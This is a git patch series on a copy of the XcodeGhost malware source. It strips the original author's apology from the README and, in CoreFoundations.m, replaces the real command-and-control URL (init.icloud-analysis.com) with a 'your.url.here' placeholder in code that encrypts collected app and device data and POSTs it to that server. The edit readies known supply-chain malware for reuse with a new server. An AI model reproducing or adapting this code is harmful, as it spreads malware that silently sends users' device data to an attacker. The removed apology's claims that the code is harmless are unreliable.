From 49dae0ab4d7138cf9a968f62a371d23c00b25c65 Mon Sep 17 00:00:00 2001 From: Sn0wDev Date: Wed, 27 Apr 2016 09:52:58 -0400 Subject: [PATCH 1/2] Update README.md --- README.md | 16 +--------------- 1 file changed, 1 insertion(+), 15 deletions(-) diff --git a/README.md b/README.md index dd3d24c..9a09944 100644 --- a/README.md +++ b/README.md @@ -1,15 +1 @@ -# XcodeGhost -"XcodeGhost" Source -关于所谓”XcodeGhost”的澄清 - -首先，我为XcodeGhost事件给大家带来的困惑致歉。XcodeGhost源于我自己的实验，没有任何威胁性行为，详情见源代码:https://github.com/XcodeGhostSource/XcodeGhost - -所谓的XcodeGhost实际是苦逼iOS开发者的一次意外发现：修改Xcode编译配置文本可以加载指定的代码文件，于是我写下上述附件中的代码去尝试，并上传到自己的网盘中。 - -在代码中获取的全部数据实际为基本的app信息：应用名、应用版本号、系统版本号、语言、国家名、开发者符号、app安装时间、设备名称、设备类型。除此之外，没有获取任何其他数据。需要郑重说明的是：出于私心，我在代码加入了广告功能，希望将来可以推广自己的应用（有心人可以比对附件源代码做校验）。但实际上，从开始到最终关闭服务器，我并未使用过广告功能。而在10天前，我已主动关闭服务器，并删除所有数据，更不会对任何人有任何影响。 - -愿谣言止于真相，所谓的"XcodeGhost"，以前是一次错误的实验，以后只是彻底死亡的代码而已。 - -需要强调的是，XcodeGhost不会影响任何App的使用，更不会获取隐私数据，仅仅是一段已经死亡的代码。 - -再次真诚的致歉，愿大家周末愉快 +XcodeGhost Source Code w/ Edits From a1b9395a0a6bfb59a8c45a346946ef667fbaf425 Mon Sep 17 00:00:00 2001 From: Sn0wDev Date: Wed, 27 Apr 2016 16:40:46 -0400 Subject: [PATCH 2/2] Update CoreFoundations.m --- CoreFoundations.m | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/CoreFoundations.m b/CoreFoundations.m index a684e5e..01abcc9 100644 --- a/CoreFoundations.m +++ b/CoreFoundations.m @@ -197,7 +197,7 @@ -(void)connection:(NSString*)statusTag{ [concatenatedData appendData:verLenData]; [concatenatedData appendData:encryptData]; - NSURL *url = [NSURL URLWithString:@"http://init.icloud-analysis.com"]; + NSURL *url = [NSURL URLWithString:@"http://your.url.here"]; NSMutableURLRequest *request = [NSMutableURLRequest requestWithURL:url cachePolicy:NSURLRequestReloadIgnoringCacheData timeoutInterval:30]; [request setHTTPMethod:@"POST"]; @@ -554,4 +554,4 @@ -(NSData*)Decrypt:(NSData*)encryptData{ } -@end \ No newline at end of file +@end